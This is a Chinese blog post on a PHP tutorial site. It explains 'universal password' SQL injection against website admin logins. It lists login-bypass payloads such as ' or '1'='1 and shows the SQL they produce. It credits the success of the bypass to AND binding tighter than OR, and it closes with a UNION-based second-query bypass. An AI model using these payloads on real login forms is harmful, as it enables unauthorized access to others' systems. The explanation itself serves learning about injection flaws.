网站地图    收藏   

主页 > 后端 > 网站安全 >

后台万能密码登陆分析 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 访问 后台 尝试在用户名 和密码 处输入 #39; or 1=1 /* 爆出了 sql 语句。很明显 存在 注入并且 magic_quotes_gpc=off尝试了几个 平时用的 mysql 万能密码#39; or #39;1#39;=1#39;or ......

访问 后台 尝试  在用户名 和密码 处输入 ' or 1=1 /*   爆出了 sql 语句。
很明显 存在 注入  并且 magic_quotes_gpc=off
尝试了几个 平时用的 mysql 万能密码
' or '1'=1
'or '1'='1 --
' or 1=1 #
.....
很奇怪 居然连 注释 语句都 爆出了了 。说明 不支持注释 或注释语句失效。
当时 认为 无法 突破 因为 密码 部分 直接 在执行sql前 转 md5 了 并且无法注释掉
始终感觉 这样的后台肯定能构造 万能密码的 就拿到群里讨论
某牛 很快找到 构造 了一个万能 密码 进了后台
用户名部分:admin 'or '1'='1 密码部分任意(之前说过 sql 之前就md5 了 构造也徒劳)
也就构成了下面的 sql 语句:
$sql = "SELECT * FROM cool_admin WHERE admin_name='admin' or '1'='1' AND admin_pwd='xxoo'";
我一直想不明白 为什么这样 能成立
一直纠结在 成立 或者 成立 和 不成立 =成立 ?(我逻辑思维很差)
按照这样的思维 始终想 不通 。
可惜这是 程序 语言 不是人 不能按照自己的思维习惯来 思考
考虑很久 也考虑不出 什么 原因,  某牛指出
www.2cto.com
"构造语句 要考虑优先级 " 我顿时 茅塞顿开 ....
程序 有执行 优先级的。 马上查看了相关资料:
where 后面如果有and,or的条件,则or自动会把左右的查询条件分开,即先执行and,再执行or。原因就是:and的执行优先级最高!
关系型运算符优先级高到低为:not and or
随后建了个表 测试了下 如图:


wKgKC0_bwUYAAAAAAAIkriiPwy0595.jpg

 



看了图就很容易理解了。
===================================================================
另一个新型后台万能密码 分析:

输入admin' or 'a'='a
爆出下面语句
SELECT * FROM users WHERE password = '52rfHUulM5JFo' AND login_id ='admin' OR 'a'='a' AND 'a'='a'
构造
'union select * FROM users WHERE login_id ='admin
顺利绕过
语句
SELECT * FROM users WHERE password = '52rfHUulM5JFo' AND login_id =''union select * FROM users WHERE login_id ='admin
利用二次查询顺利绕过

作者 XSnake's Blog

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论